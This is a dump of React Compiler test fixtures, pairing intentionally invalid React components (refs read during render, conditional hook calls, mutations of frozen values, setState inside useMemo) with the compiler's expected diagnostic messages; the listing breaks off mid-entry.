    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-ref-value.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useEffect, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef();\n  useEffect(() => {}, [ref.current]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.hook-ref-value.ts:5:23\n  3 | function Component(props) {\n  4 |   const ref = useRef();\n> 5 |   useEffect(() => {}, [ref.current]);\n    |                        ^^^^^^^^^^^ Cannot access ref value during render\n  6 | }\n  7 |\n  8 | export const FIXTURE_ENTRYPOINT = {\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.hook-ref-value.ts:5:23\n  3 | function Component(props) {\n  4 |   const ref = useRef();\n> 5 |   useEffect(() => {}, [ref.current]);\n    |                        ^^^^^^^^^^^ Cannot access ref value during render\n  6 | }\n  7 |\n  8 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-ref-value.js",
    "content": "import {useEffect, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef();\n  useEffect(() => {}, [ref.current]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ReactUseMemo-async-callback.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction component(a, b) {\n  let x = React.useMemo(async () => {\n    await a;\n  }, []);\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: useMemo() callbacks may not be async or generator functions\n\nuseMemo() callbacks are called once and must synchronously return a value.\n\nerror.invalid-ReactUseMemo-async-callback.ts:2:24\n  1 | function component(a, b) {\n> 2 |   let x = React.useMemo(async () => {\n    |                         ^^^^^^^^^^^^^\n> 3 |     await a;\n    | ^^^^^^^^^^^^\n> 4 |   }, []);\n    | ^^^^ Async and generator functions are not supported\n  5 |   return x;\n  6 | }\n  7 |\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\nerror.invalid-ReactUseMemo-async-callback.ts:3:10\n  1 | function component(a, b) {\n  2 |   let x = React.useMemo(async () => {\n> 3 |     await a;\n    |           ^ Missing dependency `a`\n  4 |   }, []);\n  5 |   return x;\n  6 | }\n\nInferred dependencies: `[a]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-ReactUseMemo-async-callback.js",
    "content": "function component(a, b) {\n  let x = React.useMemo(async () => {\n    await a;\n  }, []);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-during-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  const value = ref.current;\n  return value;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-access-ref-during-render.ts:4:16\n  2 | function Component(props) {\n  3 |   const ref = useRef(null);\n> 4 |   const value = ref.current;\n    |                 ^^^^^^^^^^^ Cannot access ref value during render\n  5 |   return value;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-during-render.js",
    "content": "// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  const value = ref.current;\n  return value;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer-init.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useReducer, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(props.value);\n  const [state] = useReducer(\n    (state, action) => state + action,\n    0,\n    init => ref.current\n  );\n\n  return <Stringify state={state} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-access-ref-in-reducer-init.ts:8:4\n   6 |     (state, action) => state + action,\n   7 |     0,\n>  8 |     init => ref.current\n     |     ^^^^^^^^^^^^^^^^^^^ Passing a ref to a function may read its value during render\n   9 |   );\n  10 |\n  11 |   return <Stringify state={state} />;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer-init.js",
    "content": "import {useReducer, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(props.value);\n  const [state] = useReducer(\n    (state, action) => state + action,\n    0,\n    init => ref.current\n  );\n\n  return <Stringify state={state} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useReducer, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(props.value);\n  const [state] = useReducer(() => ref.current, null);\n\n  return <Stringify state={state} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-access-ref-in-reducer.ts:5:29\n  3 | function Component(props) {\n  4 |   const ref = useRef(props.value);\n> 5 |   const [state] = useReducer(() => ref.current, null);\n    |                              ^^^^^^^^^^^^^^^^^ Passing a ref to a function may read its value during render\n  6 |\n  7 |   return <Stringify state={state} />;\n  8 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-reducer.js",
    "content": "import {useReducer, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(props.value);\n  const [state] = useReducer(() => ref.current, null);\n\n  return <Stringify state={state} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-render-mutate-object-with-ref-function.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const object = {};\n  object.foo = () => ref.current;\n  const refValue = object.foo();\n  return <div>{refValue}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-access-ref-in-render-mutate-object-with-ref-function.ts:7:19\n   5 |   const object = {};\n   6 |   object.foo = () => ref.current;\n>  7 |   const refValue = object.foo();\n     |                    ^^^^^^^^^^ This function accesses a ref value\n   8 |   return <div>{refValue}</div>;\n   9 | }\n  10 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-render-mutate-object-with-ref-function.js",
    "content": "import {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const object = {};\n  object.foo = () => ref.current;\n  const refValue = object.foo();\n  return <div>{refValue}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-state-initializer.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef, useState} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(props.value);\n  const [state] = useState(() => ref.current);\n\n  return <Stringify state={state} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-access-ref-in-state-initializer.ts:5:27\n  3 | function Component(props) {\n  4 |   const ref = useRef(props.value);\n> 5 |   const [state] = useState(() => ref.current);\n    |                            ^^^^^^^^^^^^^^^^^ Passing a ref to a function may read its value during render\n  6 |\n  7 |   return <Stringify state={state} />;\n  8 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-access-ref-in-state-initializer.js",
    "content": "import {useRef, useState} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(props.value);\n  const [state] = useState(() => ref.current);\n\n  return <Stringify state={state} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-aliased-ref-in-callback-invoked-during-render-.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  const renderItem = item => {\n    const aliasedRef = ref;\n    const current = aliasedRef.current;\n    return <Foo item={item} current={current} />;\n  };\n  return <Items>{props.items.map(item => renderItem(item))}</Items>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.invalid-aliased-ref-in-callback-invoked-during-render-.ts:9:33\n   7 |     return <Foo item={item} current={current} />;\n   8 |   };\n>  9 |   return <Items>{props.items.map(item => renderItem(item))}</Items>;\n     |                                  ^^^^^^^^^^^^^^^^^^^^^^^^ Cannot access ref value during render\n  10 | }\n  11 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-aliased-ref-in-callback-invoked-during-render-.js",
    "content": "// @validateRefAccessDuringRender\nfunction Component(props) {\n  const ref = useRef(null);\n  const renderItem = item => {\n    const aliasedRef = ref;\n    const current = aliasedRef.current;\n    return <Foo item={item} current={current} />;\n  };\n  return <Items>{props.items.map(item => renderItem(item))}</Items>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-array-push-frozen.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  <div>{x}</div>;\n  x.push(props.value);\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.\n\nerror.invalid-array-push-frozen.ts:4:2\n  2 |   const x = [];\n  3 |   <div>{x}</div>;\n> 4 |   x.push(props.value);\n    |   ^ value cannot be modified\n  5 |   return x;\n  6 | }\n  7 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-array-push-frozen.js",
    "content": "function Component(props) {\n  const x = [];\n  <div>{x}</div>;\n  x.push(props.value);\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-current-inferred-ref-during-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\nimport {makeObject_Primitives} from 'shared-runtime';\n\ncomponent Example() {\n  const fooRef = makeObject_Primitives();\n  fooRef.current = true;\n\n  return <Stringify foo={fooRef} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\n  4 | component Example() {\n  5 |   const fooRef = makeObject_Primitives();\n> 6 |   fooRef.current = true;\n    |   ^^^^^^^^^^^^^^ Cannot update ref during render\n  7 |\n  8 |   return <Stringify foo={fooRef} />;\n  9 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-current-inferred-ref-during-render.js",
    "content": "// @flow @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\nimport {makeObject_Primitives} from 'shared-runtime';\n\ncomponent Example() {\n  const fooRef = makeObject_Primitives();\n  fooRef.current = true;\n\n  return <Stringify foo={fooRef} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-hook-to-local.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = useState;\n  const state = x(null);\n  return state[0];\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.invalid-assign-hook-to-local.ts:2:12\n  1 | function Component(props) {\n> 2 |   const x = useState;\n    |             ^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n  3 |   const state = x(null);\n  4 |   return state[0];\n  5 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assign-hook-to-local.js",
    "content": "function Component(props) {\n  const x = useState;\n  const state = x(null);\n  return state[0];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assing-to-ref-current-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\n\ncomponent Foo() {\n  const foo = useFoo();\n  foo.current = true;\n  return <div />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value returned from a hook is not allowed. Consider moving the modification into the hook where the value is constructed.\n\n  3 | component Foo() {\n  4 |   const foo = useFoo();\n> 5 |   foo.current = true;\n    |   ^^^ value cannot be modified\n  6 |   return <div />;\n  7 | }\n  8 |\n\nHint: If this value is a Ref (value returned by `useRef()`), rename the variable to end in \"Ref\".\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-assing-to-ref-current-in-render.js",
    "content": "// @flow\n\ncomponent Foo() {\n  const foo = useFoo();\n  foo.current = true;\n  return <div />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-computed-store-to-frozen-value.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeObject();\n  // freeze\n  <div>{x}</div>;\n  x[0] = true;\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.\n\nerror.invalid-computed-store-to-frozen-value.ts:5:2\n  3 |   // freeze\n  4 |   <div>{x}</div>;\n> 5 |   x[0] = true;\n    |   ^ value cannot be modified\n  6 |   return x;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-computed-store-to-frozen-value.js",
    "content": "function Component(props) {\n  const x = makeObject();\n  // freeze\n  <div>{x}</div>;\n  x[0] = true;\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-hook-import.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useFragment as readFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  let data;\n  if (props.cond) {\n    data = readFragment();\n  }\n  return data;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-conditional-call-aliased-hook-import.ts:6:11\n  4 |   let data;\n  5 |   if (props.cond) {\n> 6 |     data = readFragment();\n    |            ^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |   }\n  8 |   return data;\n  9 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-hook-import.js",
    "content": "import {useFragment as readFragment} from 'shared-runtime';\n\nfunction Component(props) {\n  let data;\n  if (props.cond) {\n    data = readFragment();\n  }\n  return data;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-react-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState as state} from 'react';\n\nfunction Component(props) {\n  let s;\n  if (props.cond) {\n    [s] = state();\n  }\n  return s;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-conditional-call-aliased-react-hook.ts:6:10\n  4 |   let s;\n  5 |   if (props.cond) {\n> 6 |     [s] = state();\n    |           ^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |   }\n  8 |   return s;\n  9 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-aliased-react-hook.js",
    "content": "import {useState as state} from 'react';\n\nfunction Component(props) {\n  let s;\n  if (props.cond) {\n    [s] = state();\n  }\n  return s;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-non-hook-imported-as-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {makeArray as useArray} from 'other';\n\nfunction Component(props) {\n  let data;\n  if (props.cond) {\n    data = useArray();\n  }\n  return data;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.invalid-conditional-call-non-hook-imported-as-hook.ts:6:11\n  4 |   let data;\n  5 |   if (props.cond) {\n> 6 |     data = useArray();\n    |            ^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  7 |   }\n  8 |   return data;\n  9 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-call-non-hook-imported-as-hook.js",
    "content": "import {makeArray as useArray} from 'other';\n\nfunction Component(props) {\n  let data;\n  if (props.cond) {\n    data = useArray();\n  }\n  return data;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-setState-in-useMemo.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({item, cond}) {\n  const [prevItem, setPrevItem] = useState(item);\n  const [state, setState] = useState(0);\n\n  useMemo(() => {\n    if (cond) {\n      setPrevItem(item);\n      setState(0);\n    }\n  }, [cond, key, init]);\n\n  return state;\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nError: Calling setState from useMemo may trigger an infinite loop\n\nEach time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState).\n\nerror.invalid-conditional-setState-in-useMemo.ts:7:6\n   5 |   useMemo(() => {\n   6 |     if (cond) {\n>  7 |       setPrevItem(item);\n     |       ^^^^^^^^^^^ Found setState() within useMemo()\n   8 |       setState(0);\n   9 |     }\n  10 |   }, [cond, key, init]);\n\nError: Calling setState from useMemo may trigger an infinite loop\n\nEach time the memo callback is evaluated it will change state. This can cause a memoization dependency to change, running the memo function again and causing an infinite loop. Instead of setting state in useMemo(), prefer deriving the value during render. (https://react.dev/reference/react/useState).\n\nerror.invalid-conditional-setState-in-useMemo.ts:8:6\n   6 |     if (cond) {\n   7 |       setPrevItem(item);\n>  8 |       setState(0);\n     |       ^^^^^^^^ Found setState() within useMemo()\n   9 |     }\n  10 |   }, [cond, key, init]);\n  11 |\n\nError: Found missing/extra memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.\n\nerror.invalid-conditional-setState-in-useMemo.ts:7:18\n   5 |   useMemo(() => {\n   6 |     if (cond) {\n>  7 |       setPrevItem(item);\n     |                   ^^^^ Missing dependency `item`\n   8 |       setState(0);\n   9 |     }\n  10 |   }, [cond, key, init]);\n\nerror.invalid-conditional-setState-in-useMemo.ts:10:12\n   8 |       setState(0);\n   9 |     }\n> 10 |   }, [cond, key, init]);\n     |             ^^^ Unnecessary dependency `key`. Values declared outside of a component/hook should not be listed as dependencies as the component will not re-render if they change\n  11 |\n  12 |   return state;\n  13 | }\n\nerror.invalid-conditional-setState-in-useMemo.ts:10:17\n   8 |       setState(0);\n   9 |     }\n> 10 |   }, [cond, key, init]);\n     |                  ^^^^ Unnecessary dependency `init`. Values declared outside of a component/hook should not be listed as dependencies as the component will not re-render if they change\n  11 |\n  12 |   return state;\n  13 | }\n\nInferred dependencies: `[cond, item]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-conditional-setState-in-useMemo.js",
    "content": "function Component({item, cond}) {\n  const [prevItem, setPrevItem] = useState(item);\n  const [state, setState] = useState(0);\n\n  useMemo(() => {\n    if (cond) {\n      setPrevItem(item);\n      setState(0);\n    }\n  }, [cond, key, init]);\n\n  return state;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-computed-property-of-frozen-value.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeObject();\n  // freeze\n  <div>{x}</div>;\n  delete x[y];\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.\n\nerror.invalid-delete-computed-property-of-frozen-value.ts:5:9\n  3 |   // freeze\n  4 |   <div>{x}</div>;\n> 5 |   delete x[y];\n    |          ^ value cannot be modified\n  6 |   return x;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-computed-property-of-frozen-value.js",
    "content": "function Component(props) {\n  const x = makeObject();\n  // freeze\n  <div>{x}</div>;\n  delete x[y];\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-property-of-frozen-value.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = makeObject();\n  // freeze\n  <div>{x}</div>;\n  delete x.y;\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value used previously in JSX is not allowed. Consider moving the modification before the JSX.\n\nerror.invalid-delete-property-of-frozen-value.ts:5:9\n  3 |   // freeze\n  4 |   <div>{x}</div>;\n> 5 |   delete x.y;\n    |          ^ value cannot be modified\n  6 |   return x;\n  7 | }\n  8 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-delete-property-of-frozen-value.js",
    "content": "function Component(props) {\n  const x = makeObject();\n  // freeze\n  <div>{x}</div>;\n  delete x.y;\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-derived-computation-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoDerivedComputationsInEffects\nimport {useEffect, useState} from 'react';\n\nfunction BadExample() {\n  const [firstName, setFirstName] = useState('Taylor');\n  const [lastName, setLastName] = useState('Swift');\n\n  // 🔴 Avoid: redundant state and unnecessary Effect\n  const [fullName, setFullName] = useState('');\n  useEffect(() => {\n    setFullName(firstName + ' ' + lastName);\n  }, [firstName, lastName]);\n\n  return <div>{fullName}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)\n\nerror.invalid-derived-computation-in-effect.ts:11:4\n   9 |   const [fullName, setFullName] = useState('');\n  10 |   useEffect(() => {\n> 11 |     setFullName(firstName + ' ' + lastName);\n     |     ^^^^^^^^^^^ Values derived from props and state should be calculated during render, not in an effect. (https://react.dev/learn/you-might-not-need-an-effect#updating-state-based-on-props-or-state)\n  12 |   }, [firstName, lastName]);\n  13 |\n  14 |   return <div>{fullName}</div>;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-derived-computation-in-effect.js",
    "content": "// @validateNoDerivedComputationsInEffects\nimport {useEffect, useState} from 'react';\n\nfunction BadExample() {\n  const [firstName, setFirstName] = useState('Taylor');\n  const [lastName, setLastName] = useState('Swift');\n\n  // 🔴 Avoid: redundant state and unnecessary Effect\n  const [fullName, setFullName] = useState('');\n  useEffect(() => {\n    setFullName(firstName + ' ' + lastName);\n  }, [firstName, lastName]);\n\n  return <div>{fullName}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-assignment-to-global.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo(props) {\n  [x] = props;\n  return {x};\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `x` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.invalid-destructure-assignment-to-global.ts:2:3\n  1 | function useFoo(props) {\n> 2 |   [x] = props;\n    |    ^ `x` cannot be reassigned\n  3 |   return {x};\n  4 | }\n  5 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-assignment-to-global.js",
    "content": "function useFoo(props) {\n  [x] = props;\n  return {x};\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-to-local-global-variables.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let a;\n  [a, b] = props.value;\n\n  return [a, b];\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variables declared outside of the component/hook\n\nVariable `b` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).\n\nerror.invalid-destructure-to-local-global-variables.ts:3:6\n  1 | function Component(props) {\n  2 |   let a;\n> 3 |   [a, b] = props.value;\n    |       ^ `b` cannot be reassigned\n  4 |\n  5 |   return [a, b];\n  6 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-destructure-to-local-global-variables.js",
    "content": "function Component(props) {\n  let a;\n  [a, b] = props.value;\n\n  return [a, b];\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-disallow-mutating-ref-in-render.expect.md",
